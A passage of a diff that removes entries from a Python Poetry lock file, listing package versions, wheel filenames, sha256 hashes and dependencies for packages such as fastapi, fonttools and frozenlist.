"sha256:c96b93b7f0a746f9e77d325bcfb87422a3d8bd4f03136ae8a85b37f1898d5fc0"}, - {file = "docker-7.1.0.tar.gz", hash = "sha256:ad8c70e6e3f8926cb8a92619b832b4ea5299e2831c14284663184e200546fa6c"}, -] - -[package.dependencies] -pywin32 = {version = ">=304", markers = "sys_platform == \"win32\""} -requests = ">=2.26.0" -urllib3 = ">=1.26.0" - -[package.extras] -dev = ["coverage (==7.2.7)", "pytest (==7.4.2)", "pytest-cov (==4.1.0)", "pytest-timeout (==2.1.0)", "ruff (==0.1.8)"] -docs = ["myst-parser (==0.18.0)", "sphinx (==5.1.1)"] -ssh = ["paramiko (>=2.4.3)"] -websockets = ["websocket-client (>=1.3.0)"] - -[[package]] -name = "docutils" -version = "0.21.2" -description = "Docutils -- Python Documentation Utilities" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "docutils-0.21.2-py3-none-any.whl", hash = "sha256:dafca5b9e384f0e419294eb4d2ff9fa826435bf15f15b7bd45723e8ad76811b2"}, - {file = "docutils-0.21.2.tar.gz", hash = "sha256:3a6b18732edf182daa3cd12775bbb338cf5691468f91eeeb109deff6ebfa986f"}, -] - -[[package]] -name = "email-validator" -version = "2.2.0" -description = "A robust email address syntax and deliverability validation library." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "email_validator-2.2.0-py3-none-any.whl", hash = "sha256:561977c2d73ce3611850a06fa56b414621e0c8faa9d66f2611407d87465da631"}, - {file = "email_validator-2.2.0.tar.gz", hash = "sha256:cb690f344c617a714f22e66ae771445a1ceb46821152df8e165c5f9a364582b7"}, -] - -[package.dependencies] -dnspython = ">=2.0.0" -idna = ">=2.0.0" - -[[package]] -name = "et-xmlfile" -version = "2.0.0" -description = "An implementation of lxml.xmlfile for the standard library" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "et_xmlfile-2.0.0-py3-none-any.whl", hash = "sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa"}, - {file = "et_xmlfile-2.0.0.tar.gz", hash = "sha256:dab3f4764309081ce75662649be815c4c9081e88f0837825f90fd28317d4da54"}, -] - -[[package]] -name = "executing" -version = "2.2.0" -description = "Get the currently executing AST node of a frame, and other information" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "executing-2.2.0-py2.py3-none-any.whl", hash = "sha256:11387150cad388d62750327a53d3339fad4888b39a6fe233c3afbb54ecffd3aa"}, - {file = "executing-2.2.0.tar.gz", hash = "sha256:5d108c028108fe2551d1a7b2e8b713341e2cb4fc0aa7dcf966fa4327a5226755"}, -] - -[package.extras] -tests = ["asttokens (>=2.1.0)", "coverage", "coverage-enable-subprocess", "ipython", "littleutils", "pytest", "rich"] - -[[package]] -name = "fastapi" -version = "0.115.14" -description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "fastapi-0.115.14-py3-none-any.whl", hash = "sha256:6c0c8bf9420bd58f565e585036d971872472b4f7d3f6c73b698e10cffdefb3ca"}, - {file = "fastapi-0.115.14.tar.gz", hash = "sha256:b1de15cdc1c499a4da47914db35d0e4ef8f1ce62b624e94e0e5824421df99739"}, -] - -[package.dependencies] -pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0 || >2.0.0,<2.0.1 || >2.0.1,<2.1.0 || >2.1.0,<3.0.0" -starlette = ">=0.40.0,<0.47.0" -typing-extensions = ">=4.8.0" - -[package.extras] -all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.5)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.2.1)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] -standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.5)", "httpx (>=0.23.0)", "jinja2 (>=3.1.5)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] - -[[package]] -name = "fastapi-sso" -version = "0.16.0" -description = "FastAPI plugin to enable SSO to most common providers (such as Facebook login, Google login and login via Microsoft Office 365 Account)" -optional = false -python-versions = "<4.0,>=3.8" -groups = ["main"] -files = [ - {file = "fastapi_sso-0.16.0-py3-none-any.whl", hash = "sha256:3a66a942474ef9756d3a9d8b945d55bd9faf99781facdb9b87a40b73d6d6b0c3"}, - {file = "fastapi_sso-0.16.0.tar.gz", hash = "sha256:f3941f986347566b7d3747c710cf474a907f581bfb6697ff3bb3e44eb76b438c"}, -] - -[package.dependencies] -fastapi = ">=0.80" -httpx = ">=0.23.0" -oauthlib = ">=3.1.0" -pydantic = {version = ">=1.8.0", extras = ["email"]} - -[[package]] -name = "filelock" -version = "3.18.0" -description = "A platform independent file lock." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "filelock-3.18.0-py3-none-any.whl", hash = "sha256:c401f4f8377c4464e6db25fff06205fd89bdd83b65eb0488ed1b160f780e21de"}, - {file = "filelock-3.18.0.tar.gz", hash = "sha256:adbc88eabb99d2fec8c9c1b229b171f18afa655400173ddc653d5d01501fb9f2"}, -] - -[package.extras] -docs = ["furo (>=2024.8.6)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] -testing = ["covdefaults (>=2.3)", "coverage (>=7.6.10)", "diff-cover (>=9.2.1)", "pytest (>=8.3.4)", "pytest-asyncio (>=0.25.2)", "pytest-cov (>=6)", "pytest-mock (>=3.14)", "pytest-timeout (>=2.3.1)", "virtualenv (>=20.28.1)"] -typing = ["typing-extensions (>=4.12.2)"] - -[[package]] -name = "flake8" -version = "7.3.0" -description = "the modular source code checker: pep8 pyflakes and co" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e"}, - {file = "flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872"}, -] - -[package.dependencies] -mccabe = ">=0.7.0,<0.8.0" -pycodestyle = ">=2.14.0,<2.15.0" -pyflakes = ">=3.4.0,<3.5.0" - -[[package]] -name = "fonttools" -version = "4.59.0" -description = "Tools to manipulate font files" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "fonttools-4.59.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:524133c1be38445c5c0575eacea42dbd44374b310b1ffc4b60ff01d881fabb96"}, - {file = "fonttools-4.59.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21e606b2d38fed938dde871c5736822dd6bda7a4631b92e509a1f5cd1b90c5df"}, - {file = "fonttools-4.59.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e93df708c69a193fc7987192f94df250f83f3851fda49413f02ba5dded639482"}, - {file = "fonttools-4.59.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:62224a9bb85b4b66d1b46d45cbe43d71cbf8f527d332b177e3b96191ffbc1e64"}, - {file = "fonttools-4.59.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b8974b2a266b54c96709bd5e239979cddfd2dbceed331aa567ea1d7c4a2202db"}, - {file = "fonttools-4.59.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:209b75943d158f610b78320eacb5539aa9e920bee2c775445b2846c65d20e19d"}, - {file = "fonttools-4.59.0-cp310-cp310-win32.whl", hash = "sha256:4c908a7036f0f3677f8afa577bcd973e3e20ddd2f7c42a33208d18bee95cdb6f"}, - {file = "fonttools-4.59.0-cp310-cp310-win_amd64.whl", hash = "sha256:8b4309a2775e4feee7356e63b163969a215d663399cce1b3d3b65e7ec2d9680e"}, - {file = "fonttools-4.59.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:841b2186adce48903c0fef235421ae21549020eca942c1da773ac380b056ab3c"}, - {file = "fonttools-4.59.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9bcc1e77fbd1609198966ded6b2a9897bd6c6bcbd2287a2fc7d75f1a254179c5"}, - {file = "fonttools-4.59.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:37c377f7cb2ab2eca8a0b319c68146d34a339792f9420fca6cd49cf28d370705"}, - {file = "fonttools-4.59.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fa39475eaccb98f9199eccfda4298abaf35ae0caec676ffc25b3a5e224044464"}, - {file = "fonttools-4.59.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d3972b13148c1d1fbc092b27678a33b3080d1ac0ca305742b0119b75f9e87e38"}, - {file = "fonttools-4.59.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a408c3c51358c89b29cfa5317cf11518b7ce5de1717abb55c5ae2d2921027de6"}, - {file = "fonttools-4.59.0-cp311-cp311-win32.whl", hash = "sha256:6770d7da00f358183d8fd5c4615436189e4f683bdb6affb02cad3d221d7bb757"}, - {file = "fonttools-4.59.0-cp311-cp311-win_amd64.whl", hash = "sha256:84fc186980231a287b28560d3123bd255d3c6b6659828c642b4cf961e2b923d0"}, - {file = "fonttools-4.59.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:f9b3a78f69dcbd803cf2fb3f972779875b244c1115481dfbdd567b2c22b31f6b"}, - {file = "fonttools-4.59.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:57bb7e26928573ee7c6504f54c05860d867fd35e675769f3ce01b52af38d48e2"}, - {file = "fonttools-4.59.0-cp312-cp312-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4536f2695fe5c1ffb528d84a35a7d3967e5558d2af58b4775e7ab1449d65767b"}, - {file = "fonttools-4.59.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:885bde7d26e5b40e15c47bd5def48b38cbd50830a65f98122a8fb90962af7cd1"}, - {file = "fonttools-4.59.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6801aeddb6acb2c42eafa45bc1cb98ba236871ae6f33f31e984670b749a8e58e"}, - {file = "fonttools-4.59.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:31003b6a10f70742a63126b80863ab48175fb8272a18ca0846c0482968f0588e"}, - {file = "fonttools-4.59.0-cp312-cp312-win32.whl", hash = "sha256:fbce6dae41b692a5973d0f2158f782b9ad05babc2c2019a970a1094a23909b1b"}, - {file = "fonttools-4.59.0-cp312-cp312-win_amd64.whl", hash = "sha256:332bfe685d1ac58ca8d62b8d6c71c2e52a6c64bc218dc8f7825c9ea51385aa01"}, - {file = "fonttools-4.59.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:78813b49d749e1bb4db1c57f2d4d7e6db22c253cb0a86ad819f5dc197710d4b2"}, - {file = "fonttools-4.59.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:401b1941ce37e78b8fd119b419b617277c65ae9417742a63282257434fd68ea2"}, - {file = "fonttools-4.59.0-cp313-cp313-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:efd7e6660674e234e29937bc1481dceb7e0336bfae75b856b4fb272b5093c5d4"}, - {file = "fonttools-4.59.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51ab1ff33c19e336c02dee1e9fd1abd974a4ca3d8f7eef2a104d0816a241ce97"}, - {file = "fonttools-4.59.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a9bf8adc9e1f3012edc8f09b08336272aec0c55bc677422273e21280db748f7c"}, - {file = "fonttools-4.59.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:37e01c6ec0c98599778c2e688350d624fa4770fbd6144551bd5e032f1199171c"}, - {file = "fonttools-4.59.0-cp313-cp313-win32.whl", hash = "sha256:70d6b3ceaa9cc5a6ac52884f3b3d9544e8e231e95b23f138bdb78e6d4dc0eae3"}, - {file = "fonttools-4.59.0-cp313-cp313-win_amd64.whl", hash = "sha256:26731739daa23b872643f0e4072d5939960237d540c35c14e6a06d47d71ca8fe"}, - {file = "fonttools-4.59.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8d77f92438daeaddc05682f0f3dac90c5b9829bcac75b57e8ce09cb67786073c"}, - {file = "fonttools-4.59.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:60f6665579e909b618282f3c14fa0b80570fbf1ee0e67678b9a9d43aa5d67a37"}, - {file = "fonttools-4.59.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:169b99a2553a227f7b5fea8d9ecd673aa258617f466b2abc6091fe4512a0dcd0"}, - {file = "fonttools-4.59.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:052444a5d0151878e87e3e512a1aa1a0ab35ee4c28afde0a778e23b0ace4a7de"}, - {file = "fonttools-4.59.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d40dcf533ca481355aa7b682e9e079f766f35715defa4929aeb5597f9604272e"}, - {file = "fonttools-4.59.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b818db35879d2edf7f46c7e729c700a0bce03b61b9412f5a7118406687cb151d"}, - {file = "fonttools-4.59.0-cp39-cp39-win32.whl", hash = "sha256:2e7cf8044ce2598bb87e44ba1d2c6e45d7a8decf56055b92906dc53f67c76d64"}, - {file = "fonttools-4.59.0-cp39-cp39-win_amd64.whl", hash = "sha256:902425f5afe28572d65d2bf9c33edd5265c612ff82c69e6f83ea13eafc0dcbea"}, - {file = "fonttools-4.59.0-py3-none-any.whl", hash = "sha256:241313683afd3baacb32a6bd124d0bce7404bc5280e12e291bae1b9bba28711d"}, - {file = "fonttools-4.59.0.tar.gz", hash = "sha256:be392ec3529e2f57faa28709d60723a763904f71a2b63aabe14fee6648fe3b14"}, -] - -[package.extras] -all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "lxml (>=4.0)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "pycairo", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.1.0)", "xattr", "zopfli (>=0.1.4)"] -graphite = ["lz4 (>=1.7.4.2)"] -interpolatable = ["munkres", "pycairo", "scipy"] -lxml = ["lxml (>=4.0)"] -pathops = ["skia-pathops (>=0.5.0)"] -plot = ["matplotlib"] -repacker = ["uharfbuzz (>=0.23.0)"] -symfont = ["sympy"] -type1 = ["xattr"] -unicode = ["unicodedata2 (>=15.1.0)"] -woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"] - -[[package]] -name = "frozenlist" -version = "1.7.0" -description = "A list-like structure which implements collections.abc.MutableSequence" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "frozenlist-1.7.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cc4df77d638aa2ed703b878dd093725b72a824c3c546c076e8fdf276f78ee84a"}, - {file = "frozenlist-1.7.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:716a9973a2cc963160394f701964fe25012600f3d311f60c790400b00e568b61"}, - {file = "frozenlist-1.7.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a0fd1bad056a3600047fb9462cff4c5322cebc59ebf5d0a3725e0ee78955001d"}, - {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3789ebc19cb811163e70fe2bd354cea097254ce6e707ae42e56f45e31e96cb8e"}, - {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:af369aa35ee34f132fcfad5be45fbfcde0e3a5f6a1ec0712857f286b7d20cca9"}, - {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac64b6478722eeb7a3313d494f8342ef3478dff539d17002f849101b212ef97c"}, - {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f89f65d85774f1797239693cef07ad4c97fdd0639544bad9ac4b869782eb1981"}, - {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1073557c941395fdfcfac13eb2456cb8aad89f9de27bae29fabca8e563b12615"}, - {file = "frozenlist-1.7.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ed8d2fa095aae4bdc7fdd80351009a48d286635edffee66bf865e37a9125c50"}, - {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:24c34bea555fe42d9f928ba0a740c553088500377448febecaa82cc3e88aa1fa"}, - {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:69cac419ac6a6baad202c85aaf467b65ac860ac2e7f2ac1686dc40dbb52f6577"}, - {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:960d67d0611f4c87da7e2ae2eacf7ea81a5be967861e0c63cf205215afbfac59"}, - {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:41be2964bd4b15bf575e5daee5a5ce7ed3115320fb3c2b71fca05582ffa4dc9e"}, - {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:46d84d49e00c9429238a7ce02dc0be8f6d7cd0cd405abd1bebdc991bf27c15bd"}, - {file = "frozenlist-1.7.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:15900082e886edb37480335d9d518cec978afc69ccbc30bd18610b7c1b22a718"}, - {file = "frozenlist-1.7.0-cp310-cp310-win32.whl", hash = "sha256:400ddd24ab4e55014bba442d917203c73b2846391dd42ca5e38ff52bb18c3c5e"}, - {file = "frozenlist-1.7.0-cp310-cp310-win_amd64.whl", hash = "sha256:6eb93efb8101ef39d32d50bce242c84bcbddb4f7e9febfa7b524532a239b4464"}, - {file = "frozenlist-1.7.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:aa51e147a66b2d74de1e6e2cf5921890de6b0f4820b257465101d7f37b49fb5a"}, - {file = "frozenlist-1.7.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9b35db7ce1cd71d36ba24f80f0c9e7cff73a28d7a74e91fe83e23d27c7828750"}, - {file = "frozenlist-1.7.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:34a69a85e34ff37791e94542065c8416c1afbf820b68f720452f636d5fb990cd"}, - {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a646531fa8d82c87fe4bb2e596f23173caec9185bfbca5d583b4ccfb95183e2"}, - {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:79b2ffbba483f4ed36a0f236ccb85fbb16e670c9238313709638167670ba235f"}, - {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a26f205c9ca5829cbf82bb2a84b5c36f7184c4316617d7ef1b271a56720d6b30"}, - {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bcacfad3185a623fa11ea0e0634aac7b691aa925d50a440f39b458e41c561d98"}, - {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72c1b0fe8fe451b34f12dce46445ddf14bd2a5bcad7e324987194dc8e3a74c86"}, - {file = "frozenlist-1.7.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:61d1a5baeaac6c0798ff6edfaeaa00e0e412d49946c53fae8d4b8e8b3566c4ae"}, - {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7edf5c043c062462f09b6820de9854bf28cc6cc5b6714b383149745e287181a8"}, - {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:d50ac7627b3a1bd2dcef6f9da89a772694ec04d9a61b66cf87f7d9446b4a0c31"}, - {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ce48b2fece5aeb45265bb7a58259f45027db0abff478e3077e12b05b17fb9da7"}, - {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:fe2365ae915a1fafd982c146754e1de6ab3478def8a59c86e1f7242d794f97d5"}, - {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:45a6f2fdbd10e074e8814eb98b05292f27bad7d1883afbe009d96abdcf3bc898"}, - {file = "frozenlist-1.7.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:21884e23cffabb157a9dd7e353779077bf5b8f9a58e9b262c6caad2ef5f80a56"}, - {file = "frozenlist-1.7.0-cp311-cp311-win32.whl", hash = "sha256:284d233a8953d7b24f9159b8a3496fc1ddc00f4db99c324bd5fb5f22d8698ea7"}, - {file = "frozenlist-1.7.0-cp311-cp311-win_amd64.whl", hash = "sha256:387cbfdcde2f2353f19c2f66bbb52406d06ed77519ac7ee21be0232147c2592d"}, - {file = "frozenlist-1.7.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3dbf9952c4bb0e90e98aec1bd992b3318685005702656bc6f67c1a32b76787f2"}, - {file = "frozenlist-1.7.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:1f5906d3359300b8a9bb194239491122e6cf1444c2efb88865426f170c262cdb"}, - {file = "frozenlist-1.7.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3dabd5a8f84573c8d10d8859a50ea2dec01eea372031929871368c09fa103478"}, - {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa57daa5917f1738064f302bf2626281a1cb01920c32f711fbc7bc36111058a8"}, - {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c193dda2b6d49f4c4398962810fa7d7c78f032bf45572b3e04dd5249dff27e08"}, - {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bfe2b675cf0aaa6d61bf8fbffd3c274b3c9b7b1623beb3809df8a81399a4a9c4"}, - {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8fc5d5cda37f62b262405cf9652cf0856839c4be8ee41be0afe8858f17f4c94b"}, - {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b0d5ce521d1dd7d620198829b87ea002956e4319002ef0bc8d3e6d045cb4646e"}, - {file = "frozenlist-1.7.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:488d0a7d6a0008ca0db273c542098a0fa9e7dfaa7e57f70acef43f32b3f69dca"}, - {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:15a7eaba63983d22c54d255b854e8108e7e5f3e89f647fc854bd77a237e767df"}, - {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1eaa7e9c6d15df825bf255649e05bd8a74b04a4d2baa1ae46d9c2d00b2ca2cb5"}, - {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e4389e06714cfa9d47ab87f784a7c5be91d3934cd6e9a7b85beef808297cc025"}, - {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:73bd45e1488c40b63fe5a7df892baf9e2a4d4bb6409a2b3b78ac1c6236178e01"}, - {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99886d98e1643269760e5fe0df31e5ae7050788dd288947f7f007209b8c33f08"}, - {file = "frozenlist-1.7.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:290a172aae5a4c278c6da8a96222e6337744cd9c77313efe33d5670b9f65fc43"}, - {file = "frozenlist-1.7.0-cp312-cp312-win32.whl", hash = "sha256:426c7bc70e07cfebc178bc4c2bf2d861d720c4fff172181eeb4a4c41d4ca2ad3"}, - {file = "frozenlist-1.7.0-cp312-cp312-win_amd64.whl", hash = "sha256:563b72efe5da92e02eb68c59cb37205457c977aa7a449ed1b37e6939e5c47c6a"}, - {file = "frozenlist-1.7.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee80eeda5e2a4e660651370ebffd1286542b67e268aa1ac8d6dbe973120ef7ee"}, - {file = "frozenlist-1.7.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d1a81c85417b914139e3a9b995d4a1c84559afc839a93cf2cb7f15e6e5f6ed2d"}, - {file = "frozenlist-1.7.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cbb65198a9132ebc334f237d7b0df163e4de83fb4f2bdfe46c1e654bdb0c5d43"}, - {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dab46c723eeb2c255a64f9dc05b8dd601fde66d6b19cdb82b2e09cc6ff8d8b5d"}, - {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:6aeac207a759d0dedd2e40745575ae32ab30926ff4fa49b1635def65806fddee"}, - {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bd8c4e58ad14b4fa7802b8be49d47993182fdd4023393899632c88fd8cd994eb"}, - {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:04fb24d104f425da3540ed83cbfc31388a586a7696142004c577fa61c6298c3f"}, - {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6a5c505156368e4ea6b53b5ac23c92d7edc864537ff911d2fb24c140bb175e60"}, - {file = "frozenlist-1.7.0-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8bd7eb96a675f18aa5c553eb7ddc24a43c8c18f22e1f9925528128c052cdbe00"}, - {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:05579bf020096fe05a764f1f84cd104a12f78eaab68842d036772dc6d4870b4b"}, - {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:376b6222d114e97eeec13d46c486facd41d4f43bab626b7c3f6a8b4e81a5192c"}, - {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:0aa7e176ebe115379b5b1c95b4096fb1c17cce0847402e227e712c27bdb5a949"}, - {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3fbba20e662b9c2130dc771e332a99eff5da078b2b2648153a40669a6d0e36ca"}, - {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:f3f4410a0a601d349dd406b5713fec59b4cee7e71678d5b17edda7f4655a940b"}, - {file = "frozenlist-1.7.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e2cdfaaec6a2f9327bf43c933c0319a7c429058e8537c508964a133dffee412e"}, - {file = "frozenlist-1.7.0-cp313-cp313-win32.whl", hash = "sha256:5fc4df05a6591c7768459caba1b342d9ec23fa16195e744939ba5914596ae3e1"}, - {file = "frozenlist-1.7.0-cp313-cp313-win_amd64.whl", hash = "sha256:52109052b9791a3e6b5d1b65f4b909703984b770694d3eb64fad124c835d7cba"}, - {file = "frozenlist-1.7.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:a6f86e4193bb0e235ef6ce3dde5cbabed887e0b11f516ce8a0f4d3b33078ec2d"}, - {file = "frozenlist-1.7.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:82d664628865abeb32d90ae497fb93df398a69bb3434463d172b80fc25b0dd7d"}, - {file = "frozenlist-1.7.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = 